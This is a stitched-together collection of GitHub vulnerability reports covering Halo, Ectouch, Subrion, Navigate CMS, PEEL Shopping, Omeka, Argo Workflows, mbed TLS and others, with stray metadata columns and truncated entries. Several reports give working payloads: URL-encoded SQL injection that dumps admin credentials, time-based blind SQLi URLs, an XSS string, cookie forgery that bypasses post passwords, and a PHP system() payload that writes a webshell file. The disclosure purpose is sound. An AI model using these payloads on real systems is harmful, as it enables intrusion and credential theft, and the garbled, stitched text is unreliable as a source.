The password accessing the article is flawed. The code only verifies the "halo-post-password-" + post.getPostId() in the cookie, but it does not verify that the password is correct.
```
//判断文章是否有加密
if (StrUtil.isNotEmpty(post.getPostPassword())) {
Cookie cookie = ServletUtil.getCookie(request, "halo-post-password-" + post.getPostId());
if (null == cookie) {
post.setPostSummary("该文章为加密文章");
post.setPostContent("<form id=\"postPasswordForm\" method=\"post\" action=\"/archives/verifyPostPassword\"><p>该文章为加密文章，输入正确的密码即可访问。</p><input type=\"hidden\" id=\"postId\" name=\"postId\" value=\"" + post.getPostId() + "\"> <input type=\"password\" id=\"postPassword\" name=\"postPassword\"> <input type=\"submit\" id=\"passwordSubmit\" value=\"提交\"></form>");
}
}
model.addAttribute("post", post);
return this.render("post");
}
```
Send the postId to the server by entering the wrong password, and then add the cookie "halo-post-password-4027 (current article id) = 96e79218965eb72c92a549dd5a330112 (any md5 encrypted string)" to access the encrypted article content.

] | 1、Because the password of the login account of the system background is transmitted in plain text, it can easily enter the background through brute force cracking：
2、The problem lies in the STMP server configuration，which can specify host address and port
3、There is a hidden testConnection () interface in the code to test the connectivity of the mailbox server
4、It is a javaMailSender that depends on springframework：
5、So you can test through this interface, write the address as 127.0.0.1，When the server port is open, the corresponding time is shorter：20millis：
6、The port is not open, the corresponding time is longer：1000+millis：
7、You can obtain the open ports of the server and other hosts on the intranet in batches according to the length of the echo time, and then carry out further attacks

# vulnerability description:
In src/jsiObj.c:428, `len` is the length of the Array, and the PoC is initially set to a maximum value by o.length. After the calculation of the code, nsiz is calculated as a negative number, which can bypass the two checks of line 421 and line 425.
`obj-> arr` will get a smaller size of heap space, and then memset assigns a value to the space pointed to by `obj-> arr + obj-> arrMaxSize`, but this time has exceeded the actual heap range of ` obj-> arr`, causing heap overflow . | integer overflow and buffer overflow | https://api.github.com/repos/pcmacdon/jsish/issues/5/comments | 1 | 2020-04-13T14:03:30Z | 2020-04-14T00:10:53Z | https://github.com/pcmacdon/jsish/issues/5 | 598,907,622 | 5 | 2,178 |

```
The vulnerability code is in line src / jsiArray.c + 414, the function `jsi_ArrayMapCmd`, the vulnerability code is as follows:
The `curlen` here is also the size of the array, and can be arbitrarily set in the js code, for example in the poc
The affected code is in the analytic function `Jsi_ObjSetLength`, as shown in the figure:
The actual array size len is larger than `obj-> arrMaxSize`, which triggers the assert.

1. Payload
index.php?m=default&c=Exchange&a=asynclist_list&integral_min=2%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%6e%75%6c%6c%2c%70%61%73%73%77%6f%72%64%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%75%73%65%72%5f%6e%61%6d%65%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%20%66%72%6f%6d%20%65%63%73%5f%61%64%6d%69%6e%5f%75%73%65%72%20%6f%72%64%65%72%20%62%79%20%67%6f%6f%64%73%5f%69%64%20%61%73%63%23
Code payload with a URL (notice that there is a space before union):
union select null,password,null,null,null,user_name,null,null,null,null,null from ecs_admin_user order by goods_id asc#
In the latest version, payload will not be able to bring in SQL code without URL encoding. (Old versions don't require URL encoding to be brought into payload execution; new versions only cause program execution errors, but can't bring in palyad.)
2. Vulnerability access file
As can be seen from the URL request, the vulnerability entry file is:
/include/apps/default/controllers/ExchangeController.class.php asynclist_list function.
$this->parameter() fetch the parameter of integral_min from the URL REQUEST.
exchange_get_goods() bring the parameter in SQL operation.
3. parameter() function
parameter() function is located in /include/apps/default/controllers/ExchangeController.class.php controller.
Using I function to get the parameters of integral_min.
I function is located in /include/base/helpers/function.php The input parameters are obtained and filtered.
In function I, use DEFAULT_FILTER for filtering. It located in /include/config/global.php , and the value is htmlspecialchars.
Converted to single and double quotation marks, But payload does not need single or double quotes.
4. exchange_get_goods() function
Located in /include/apps/default/models/ExchangeModel.class.php model.
There are no single or double quotation marks in the whole process.
II. Vulnerability Exploitation
1. Special description: When accessed by a computer-side browser, because of the file “.htaccess” at the root directory, will be denied access. Even just visiting the home page won't do. Because the file just redirects to index.php. No impact on testing and utilization. The name ".htaccess" must be deleted or modified before it can be accessed in a computer browser. It does not affect the use of burpsuite to intercept mobile access vulnerabilities(Mobile access does not require modifying the file name). This test is after modifying the ".htaccess" file name, tested on computer.
2. testing environment
Windows + firefox + apache2 + PHP5.4.45（phpStudyIntegrated environment）
BrupSuite
3. Payload
A、 The end of the request must keep up with two “\r\n”（two lines \r\n）;otherwise, there is no response to the request.
B、 union select null,password,null,null,null,user_name,null,null,null,null,null from ecs_admin_user order by goods_id asc# （There is a space before nuion）encode with url.
C、 Request url:
GET /index.php?m=default&c=Exchange&a=asynclist_list&integral_min=2%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%6e%75%6c%6c%2c%70%61%73%73%77%6f%72%64%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%75%73%65%72%5f%6e%61%6d%65%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%2c%6e%75%6c%6c%20%66%72%6f%6d%20%65%63%73%5f%61%64%6d%69%6e%5f%75%73%65%72%20%6f%72%64%65%72%20%62%79%20%67%6f%6f%64%73%5f%69%64%20%61%73%63%23 HTTP/1.1
D、select”user_name”and”password”, return “admin” and “7d10dca2db594ae1a07a66b0e5b1d938”; After decode with MD5 is “admin”. Get the administrator's account and password. | Ectouch CMS Front-end SQL Injection Vulnerability | https://api.github.com/repos/yundiao/ectouch/issues/1/comments | 0 | 2019-02-12T17:33:14Z | 2019-02-12T17:33:14Z | https://github.com/yundiao/ectouch/issues/1 | 409,417,022 | 1 | 2,193 |

] | **I. Vulnerability Analysis**
Subrion CMS supports three ways of connecting mysql: mysql, mysqli and PDO. The default is mysqli.
They are executed by three files in the /includes/classes/ directory.
ia.core.mysql.php
ia.core.mysqli.php
ia.core.pdo.php
If a website uses PDO connection, there will be a vulnerability.
**II. Vulnerability testing**
Using PDO connections requires modifying the file---- /includes/config. inc. php.
Change mysqli to pdo.
In the search page:
http://cms.im/search/
POC and testing:
`/search/?q=);select%20sleep(1);--+`
`/search/?q=);select%20sleep(5);--+`
`/search/?q=);select%20sleep(10);--+`

] | Hi, we developed a taint analysis based static analysis tool named Vanguard. It could prognosis potential vulnerabilities by identifying security-sensitive operations (e.g. divide-zero, mod-zero, array-index-access, and sensitive function calls) without proper checks for their operands.
Some code locations are listed in the following. We think these locations maybe bugs after our manual analysis. Please check them, and add precondition checks if necessary.

] | ### Describe
A global-buffer-overflow was discovered in ffjpeg. The issue is being triggered in function jfif_encode at jfif.c:701
### Reproduce
Tested in Ubuntu 18.04, 64bit. Compile ffjpeg with address sanitizer as I changed `CCFLAGS` src/Makefile as:
```bash
# ASan
CCFLAGS = -Wall -g -fsanitize=address -fno-omit-frame-pointer -O1
```
And do this command to reproduce this issue:
`ffjpeg -e $poc`
[poc is here](https://github.com/WayneDevMaze/afl_test_works/blob/master/ffjpeg/poc/global-buffer-overflow-poc1)
### Expected behavior
An attacker can exploit this vulnerability by submitting a malicious jpeg that exploits this issue. This will result in a Denial of Service (DoS) and when the application attempts to process the file.
### ASAN Reports

- Type: Bug
- Priority: Minor
---------------------------------------------------------------
## Bug
**mbed TLS build:**
Version: 2.16.6
OS version: SGX
----------------------------------------------------------------
*Discoverers:* Ivan Puddu, Moritz Schneider, Miro Haller, Srdjan Capkun, ETH Zurich (i.e., not me)
*Short description: The authors describe in their paper a way to determine control flow in SGX enclaves by precisely timing interrupt latency. This succeeds even in balanced branches such as:
```
if (secret == 'a') {
var1 = 1 + var1;
var2 = 1 + var2;
} else {
var1 = 2 + var1;
var2 = 2 + var2;
}
```
The root cause of this is that the front-end of the processor fetches instructions with a 16 byte well-aligned window. The time to resume an instruction will depend on its location within this fetch window (and thus its virtual address) and instructions near it.
*Full description:* https://arxiv.org/abs/2005.11516
*Solution:*
- Remove the secret dependent branch altogether
*Code locations that require fixes:
- `mpi_montmul` (bignum.c: 1924):
```
if( mbedtls_mpi_cmp_abs( A, N ) >= 0 )
mpi_sub_hlp( n, N->p, A->p );
else
/* prevent timing attacks */
mpi_sub_hlp( n, A->p, T->p );
```

- Type: Bug
---------------------------------------------------------------
## Bug
**OS**
ubuntu 16.04.1 [linux|
**mbed TLS build:**
Version: 2.16.5
I created a CRL whose revocation date is later than current time. MbedTLS does not use this CRL because it thought that the CRL is illegal (see the code in /library/x509_crt.c, line 1788). Comparatively, openssl does not check the "revocation date" field and revokes certificate(s).
The openssl guys explained that "revocation date” is useless in certificate validation and may only be used as meta data (see https://github.com/openssl/openssl/issues/11859). I indeed checked RFC 5280 and did not find any words saying that "revocation date" is important (for certificate parsing and validation). Then do we still need to check the revocation date?
```
#if defined(MBEDTLS_X509_CRL_PARSE_C)
/*
* Return 1 if the certificate is revoked, or 0 otherwise.
*/
int mbedtls_x509_crt_is_revoked( const mbedtls_x509_crt *crt, const mbedtls_x509_crl *crl )
{
const mbedtls_x509_crl_entry *cur = &crl->entry;
while( cur != NULL && cur->serial.len != 0 )
{
if( crt->serial.len == cur->serial.len &&
memcmp( crt->serial.p, cur->serial.p, crt->serial.len ) == 0 )
{
if( mbedtls_x509_time_is_past( &cur->revocation_date ) )
return( 1 );
}
cur = cur->next;
}
return( 0 );
}
```
The command I used is:
```
cert_app mode='file' filename=leaf.pem ca_file=root.pem crl_file=test.crl
```
The verification returns
```

] | **Brief of the issue**
One can recover other's private key after collecting other's partial signature in multisignature .
**logic**
```
group generator:G
public key:PK={pk1,pk2}
random k:Klist={k1,k2}
commitment: R={k1*G,k2*G}
partial signature:{s1=k1+sk1*H(PK,R,m),s2=k2+sk2*H(PK,R,m)}
multi-signature:{s=s1+s2}
```
The one who proposal a multisignature knows PK,Klist,R,m.Once he get a partial signature(eg. s2), he can recover corresponding sk2 using "sk2=(s2-k2)/H(PK,R,m)".
**Repo steps**
1.create contract account

**Additional information**
I think no one-round-multisignature is proven security based schnorr signature.Change to BLS signature or just use plain multi-signature.

Most of the [open matio fuzzing issues](https://bugs.chromium.org/p/oss-fuzz/issues/list?q=matio&can=2&sort=-id&mode=grid&x=Engine&y=Type) seem to be related to the hdf5 v1.12.0 library dependency which is is not being fuzzed by oss-fuzz. Whom can I add as contact person for these issues? I believe the mail address needs to be setup as Google account in order to get access?
See also https://github.com/google/oss-fuzz/issues/4999 where I first raised this topic.

] | **Describe the set-up**
- Software:
- STM32Cube MCU & MPU Packages
- Version:
- STM32Cube_FW_H7_V1.8.0
- Verification Hardware Platform:
- STM32H7B3
**Describe the bug**
- Function:
- static void USBH_ParseCfgDesc(USBH_CfgDescTypeDef *cfg_desc, uint8_t *buf, uint16_t length)
- Location:
- https://github.com/STMicroelectronics/STM32CubeH7/blob/79196b09acfb720589f58e93ccf956401b18a191/Middlewares/ST/STM32_USB_Host_Library/Core/Src/usbh_ctlreq.c#L395
- Type:
- Buffer Overflow
- Result:
- The system could be configured incorrectly with wrong parameters.
- Description:
- The function USBH_ParseCfgDesc() parses the configuration descriptor, interface descriptor, and endpoint descriptor by input data from a USB device.
- However, it doesn’t check the validity of the variable cfg_desc->wTotalLength compared with the total length of the input buffer as shown in https://github.com/STMicroelectronics/STM32CubeH7/blob/79196b09acfb720589f58e93ccf956401b18a191/Middlewares/ST/STM32_USB_Host_Library/Core/Src/usbh_ctlreq.c#L395. This will cause the following program including calling to the function USBH_GetNextDesc(), USBH_ParseInterfaceDesc() and USBH_ParseEPDesc() configure the system incorrectly.
**How To Reproduce**
1. Running MSC_Standalone application on the STM32H7B3I platform
2. Plug a USB disk
3. Use the attached Bug2.txt to replace the USB device packet. [Bug2.txt](https://github.com/STMicroelectronics/STM32CubeH7/files/5381225/Bug2.txt)
**Additional context**
- To patch it, the program should check if reach the end of the input buffer when plus cfg_desc->wTotalLength.

- Software:
- STM32Cube MCU & MPU Packages
- Version:
- STM32Cube_FW_H7_V1.8.0
- Verification Hardware Platform:
- STM32H7B3
**Describe the bug**
- Function:
- static void USBH_ParseInterfaceDesc(USBH_InterfaceDescTypeDef *if_descriptor, uint8_t *buf)
- Location:
- https://github.com/STMicroelectronics/STM32CubeH7/blob/79196b09acfb720589f58e93ccf956401b18a191/Middlewares/ST/STM32_USB_Host_Library/Core/Src/usbh_ctlreq.c#L444
- Type:
- Buffer Overflow
- Result:
- The system could be configured incorrectly with wrong parameters.
- Description:
- The function USBH_ParseInterfaceDesc() parse interface descriptor. It’s called by the function USBH_ParseCfgDesc() as shown in https://github.com/STMicroelectronics/STM32CubeH7/blob/79196b09acfb720589f58e93ccf956401b18a191/Middlewares/ST/STM32_USB_Host_Library/Core/Src/usbh_ctlreq.c#L413.
- It doesn’t check the validity of the variable if_descriptor->bLength compared with the total length of the input buffer which may cause a buffer overflow by the following called function USBH_GetNextDesc() as shown in https://github.com/STMicroelectronics/STM32CubeH7/blob/79196b09acfb720589f58e93ccf956401b18a191/Middlewares/ST/STM32_USB_Host_Library/Core/Src/usbh_ctlreq.c#L419.

] | Hello Omeka Team!
I was looking through your application (V2.7.1), and I discovered a stored XSS bug at "admin/files/edit".
While most of the pages filter out tags that are not in the whitelist when "Use HTML" is on, "admin/files/edit" seems to allow them. My guess is that this is not the expected behavior?
**POC:**
1. Create an item with a file attachment
2. Edit the file
3. Place `<img src=x onerror=alert(1)>` in one of the fields and toggle "Use HTML" to on. (An alert should pop up now, but ignore that and save changes)
4. Access the page containing the file, and an alert should pop up.
5. (Optional) Switch to a different account to verify that this affects all users.
**Impact: client-side code execution**
This bug shouldn't be very dangerous since it is only available to contributors, admins, and superusers.
The session cookie is httponly, and the csrf tokens seem to be set properly (upon first glance).
However, the XSS bug can be leveraged in many other ways, and it could increase the impact of a future vulnerability. Therefore, it's probably better to have it fixed.
Please let me know if anything is unclear, or if this is not a legitimate issue.
Thanks in advance!

Attacker can inject in `block-order` through http request. A sample request traffic:
```

This can be reflected in the backend database result. Didn't further justify the sql injection outcomes but clearly attacker can do arbitrary sql query.
## Vulnerability 2: `id` at `items.php`
Vulnerable code `item.php`:
<pre><code>
//package/lib/packages/items/items.php
function run()
{
global $layout;
global $DB;
global $website;
global $theme;
global $user;
$out = '';
$item = new item();
switch($_REQUEST['act'])
{
case "change_comment_status": // change comment status
if(empty($_REQUEST['id']))
{
echo "false";
core_terminate();
}
switch($_REQUEST['opt'])
{
case 'publish':
$DB->execute('
UPDATE nv_comments
SET status = 0
WHERE website = '.$website->id.' AND
<strong>id = '.$_REQUEST['id']);</strong>
break;
case 'unpublish':
$DB->execute('
UPDATE nv_comments
SET status = 1
WHERE website = '.$website->id.' AND
<strong>id = '.$_REQUEST['id']);</strong>
break;
case 'delete':
$DB->execute('
DELETE FROM nv_comments
WHERE website = '.$website->id.' AND
<strong>id = '.$_REQUEST['id']);</strong>
break;
}
</pre></code>
Attacker can use a traffic similar to:
```
GET /navigate/navigate.php?fid=items&act=change_comment_status&**id=abc%20or%201=1**&opt=publish HTTP/1.1
Host: localhost

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```
## Vulnerability 3: `products_order` at `products.php`
Vulnerable code
<pre><code>
//package/lib/packages/products/products.php
function run()
{
global $layout;
global $DB;
global $website;
global $theme;
global $user;
$out = '';
$item = new product();
switch($_REQUEST['act'])
{
**case 'products_order':**
if(!empty($_POST['products-order']))
{
if(naviforms::check_csrf_token('header'))
{
// save new order
<strong>$response = product::reorder($_POST['products-order']);</strong>
if($response!==true)
{
echo $response['error'];
}
else
{
echo 'true';
}
}
}
</pre></code>
Then it triggers
```php
//package/lib/packages/products/product.class.php
public static function reorder($order)
{
global $DB;
global $website;
**$items = explode("#", $order);**
for($i=0; $i < count($items); $i++)
{
if(empty($items[$i]))
{
continue;
}
$ok = $DB->execute('
UPDATE nv_products
SET position = '.($i+1).'
**WHERE id = '.$items[$i].' AND**
website = '.$website->id
);
```
## Vulnerability 4: `id` in `products.php`
Vulnerable code:
<pre><code>
//package/lib/packages/products/products.php
case "change_comment_status":
if(empty($_REQUEST['id']))
{
echo "false";
core_terminate();
}
switch($_REQUEST['opt'])
{
case 'publish':
$DB->execute('
UPDATE nv_comments
SET status = 0
<strong>WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);</strong>
break;
case 'unpublish':
$DB->execute('
UPDATE nv_comments
SET status = 1
<strong>WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);</strong>
break;
case 'delete':
$DB->execute('
DELETE FROM nv_comments
<strong>WHERE website = '.$website->id.' AND
id = '.$_REQUEST['id']);</strong>
break;
}
</pre></code>
Attacker can easily craft something like this to trigger the vulnerability
```
http://localhost/navigate/navigate.php?fid=products&act=change_comment_status&id=1%20or%201=1;&opt=publish
```
## Vulnerability 5: `property::reorder` at `templates.php`
vulnerable code:
<pre><code>
//package/lib/packages/templates/templates.php
case 'load':
case 2: // edit/new form
if(!empty($_REQUEST['id']))
{
if(is_numeric($_REQUEST['id']))
{
$item->load(intval($_REQUEST['id']));
}
else
{
$item->load_from_theme($_REQUEST['id']);
}
}
if(isset($_REQUEST['form-sent']))
{
try
{
$item->load_from_post();
naviforms::check_csrf_token();
$item->save();
if(!empty($_REQUEST['property-enabled']))
{
$enableds = array_values($_REQUEST['property-enabled']);
}
else
{
$enableds = array();
}
<strong>property::reorder("template", $item->id, $_REQUEST['template-properties-order'], $enableds);</strong>
</pre></code>
Then step into
```
//package/lib/packages/properties/property.class.php
public static function reorder($element, $template, $order, $enableds=NULL)
{
global $DB;
global $website;
**$item = explode("#", $order);**
for($i=0; $i < count($item); $i++)
{
if(empty($item[$i])) continue;
$enabled = '';
if(is_array($enableds))
{
$enabled = ', enabled = 0 ';
for($e=0; $e < count($enableds); $e++)
{
if($enableds[$e]==$item[$i]) $enabled = ', enabled = 1 ';
}
}
$ok = $DB->execute('
UPDATE nv_properties
SET position = '.($i+1).' '.$enabled.'
**WHERE id = '.$item[$i].'**
AND website = '.$website->id
);
```
## Vulnerability 6: `children_order` at `structure.php`
Vulnerable code:
```php
//package/lib/packages/structure/structure.php
case "reorder":
**$ok = structure::reorder($_REQUEST['parent'], $_REQUEST['children_order']);**
echo json_encode($ok);
core_terminate();
break;
```
Then steps into
```php
//package/lib/packages/structure/structure.class.php
public static function reorder($parent, $children)
{
global $DB;
global $website;
**$children = explode("#", $children);**
for($i=0; $i < count($children); $i++)
{
if(empty($children[$i]))
{
continue;
}
$ok = $DB->execute('UPDATE nv_structure
SET position = '.($i+1).'
**WHERE id = '.$children[$i].'**
AND parent = '.intval($parent).'
AND website = '.$website->id);
if(!$ok)
{
return array("error" => $DB->get_last_error());
}
}
return true;
}
```
Attacker can easily craft a traffic as below to cause the injection:
`http://localhost/navigate/navigate.php?fid=structure&act=reorder&parent=1&children=abc%20or%201=1`

## Analysis
Look at `/app/system/include/class/user.class.php` there is a function called `get_user_by_emailid`
```
public function get_user_by_emailid($email)
{
global $_M;
$query = "SELECT * FROM {$_M['table']['user']} WHERE email='{$email}' AND lang='{$_M['lang']}'";
$user = DB::get_one($query);
return $user;
}
```
we can `$email` to directly into the SQL statement
For convenience of debugging：
After that. visit the url：http://localhost:8081/member/basic.php?a=dosafety_emailadd
as u can see， `123`has been inserted into SQL statement
Then: http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
## Exploit

] | **Vulnerability Name:** Multiple Arbitrary File Deletion
**Date of Discovery:** 20 July 2021
**Product version:** 1.2.9 [Download link](https://sourceforge.net/projects/cszcms/files/)
**Author:** faisalfs10x
**Vulnerability Description:** When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker can leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.

] | Hello,
At CT-RSA 2021 Venema and Alpar presented attacks against 11 ABE schemes and two of them are implemented in the last version of CHARM: DAC-MACS and MA-ABE-YJ14:
- https://jhuisi.github.io/charm/charm/schemes/abenc/abenc_dacmacs_yj14.html
- https://jhuisi.github.io/charm/_modules/abenc_maabe_yj14.html
Moreover, the YCT14 scheme was broken in 2019 and is also implemented in
CHARM: https://github.com/JHUISI/charm/blob/dev/charm/schemes/abenc/abenc_yct14.py
It is possible to mount decryption attacks against them.

] | **Vulnerability Name:** SQL Injection in "_produit_details.php?id_" parameter
**Date of Discovery:** 10 July 2021
**Product version:** 9.4.0 . [Download link](https://drive.google.com/file/d/1FM8du7J6DDxE-LwVmH8JI502vvom-DUU/view?usp=sharing)
**Author:** faisalfs10x
**Vulnerability Description:** Public user/guest (unauthenticated) can inject malicious SQL query in order to affect the execution of predefined SQL commands via the "_id_" parameter on the "_/peel-shopping_9_4_0/achat/produit_details.php?id=[SQLi]_" endpoint. Upon successful of SQL injection attack, attacker can read sensitive data from the database or modify database data.
**Vulnerable URL:** _http://localhost/peel-shopping_9_4_0/achat/produit_details.php?id=[SQLi]_
**Proof of Concept:**
**1)** Assumed peel-shopping_9_4_0 out of box installation database name is _peel_. This query will check if _database()_ name like _hex(%peel%)_ - it will delay for 7 seconds before redirect to homepage (http://localhost/peel-shopping_9_4_0/) that indicates TRUE SQL statement which mean the database name like "_peel_".
**url :** http://localhost/peel-shopping_9_4_0/achat/produit_details.php?id=(SELECT+1337+FROM+(SELECT(SLEEP(7-(IF(DATABASE()+LIKE+0x257065656c25,0,5)))))FSXX)
[PoC enum db name]
**2)** Assumed the web is using MariaDB database server - check if db_version like _hex(%MariaDB%)_, it will delay for 5 seconds if TRUE.
**url :** http://localhost/peel-shopping_9_4_0/achat/produit_details.php?id=(SELECT+1337+FROM+(SELECT(SLEEP(5-(IF(VERSION()+LIKE+0x254d61726961444225,0,5)))))FSXX)
[Poc enum MariaDB]
**3)** By default, the database have a table name = peel_produits. This query will check if table_name _peel_produits_ is exist, it will delay for 10 seconds if TRUE, else will redirect to homepage instantly.
**url :** http://localhost/peel-shopping_9_4_0/achat/produit_details.php?id=(SELECT+1337+FROM+(SELECT(SLEEP(10-(IF(EXISTS(SELECT+3+FROM+peel.peel_produits),0,5)))))FSXX)
[PoC enum table peel_produits]
To produce SQL syntax error, it is possible to intercept the request before it is redirect to homepage using a tool like BurpSuite (repeater).
**Error syntax:** http://localhost/peel-shopping_9_4_0/achat/produit_details.php?id=(SELECT+1337+FROM+(SELdECT(SLEEP(3-(IF(USER()+LIKE+0xGEN_ERROR,0,5)))))ERR)
1. [MariaDB disclosed image]
2. [peel_produits table_name disclosed]
**Dump table name = peel_profil**
**Consequences:**
- Confidentiality: Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL Injection vulnerabilities.
- Integrity: Just as it may be possible to read sensitive information eg client/customer sensitive data, it is also possible to make changes or even delete this information with a SQL Injection attack.
**Mitigation:** Use of Prepared Statements (with Parameterized Queries). It would be good also to casting integer to ensure only numerical data is inserted in 'id' parameter eg - intval($_GET['id'])

It's possible to rewrite parts of a workflow on-cluster using only an input parameter. Operators who allows users to run workflows specifying input parameters are vulnerable to this.
# Details
From @mac9416 :
It's possible to rewrite parts of a workflow on-cluster using only an input parameter. This relies on taking advantage of the fact that the output of expression templates is evaluated a a literal part of the JSON-stringified template.
The following workflow accepts a string param, performs a trivial transformation (in this case, just printing it), and then passes the output as an env var to be printed.
The poisoned param value is able to overwrite "args" because 1) the golang JSON marshaler allows duplicate keys and, 2) the stringified template keys seem to be alphabetically-ordered, so the poisoned "env" value can override the original "args" field.
This is just a quick proof-of-concept. The motivated attacker could probably find a lot of different and nefarious ways to mutate a workflow.
I believe this PR would close the vulnerability: https://github.com/argoproj/argo-workflows/pull/6285
```

```
Note: there seems to be some non-determinism involved. The expected behavior is for the "print" step to output "this happens instead". If instead you get an error, re-submit a few times.

] | Hi :)
cmsuno version 1.7 is vulnerable to a stored cross site scripting. An authenticated attacker can inject a payload while updating the template's image filename after intercepting the request using Burpsuite via the **tgo** parameter.
After successful update of the template, the xss is poped up in the website page.
## Steps to reproduce
1. Go to /uno.php and click on **plugins**
2. Click on **Logo**
3. Choose a random picture in your files repository, click on **save** and intercept the request using BurpSuite
4. Change the **tgo** parameter value with the following
5. Forward the request and click on publish
6. Click on **See the website**
7. XSS

#### Vulnerability description:
There is a vulnerability which allows remote attackers to execute arbitrary code. The user can control the value of the field 'condition' of the database table 'vae_admin_rule', which is used for the parameters of the code execution function in the administrator privilege check module.
#### Payload:
```123);system("echo ".base64_decode("Ijw/cGhwIHBocGluZm8oKTsi").">yunsle.php"```
#### POC:
Firstly, we put the payload into the place as follows:
Then we create a new role group, which has limited privileges:
And we create a user that belongs to this role group:
We login as 'test', and it's obvious that user 'test' has no privilege to access any page:
But the payload has been executed when the system checked the privileges:

] | Tested in Ubuntu 16.04, 64bit.
The tested program is the example program dump-syms.
The testcase is [dump_syms_segv](https://github.com/xiaoxiongwang/function_bugs/blob/master/libelfin/dump_syms_segv).
I use the following command:
```
/path-to-libelfin/examples/dump-syms dump_syms_segv
```
and get:
```
Segmentation fault (core dumped)
```
I use **valgrind** to analysis the bug and get the below information (absolute path information omitted):
